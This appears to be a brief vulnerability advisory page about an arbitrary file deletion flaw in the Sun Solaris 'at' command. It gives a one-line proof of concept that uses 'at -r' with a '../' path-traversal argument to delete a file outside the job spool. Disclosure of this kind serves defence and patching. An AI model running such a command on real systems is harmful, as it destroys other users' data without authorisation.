• info
• discussion
• exploit
• solution
• references

Sun Solaris AT Command Arbitrary File Deletion Vulnerability

The following proof of concept was provided:

/usr/bin/at -r ../../../../tmp/foo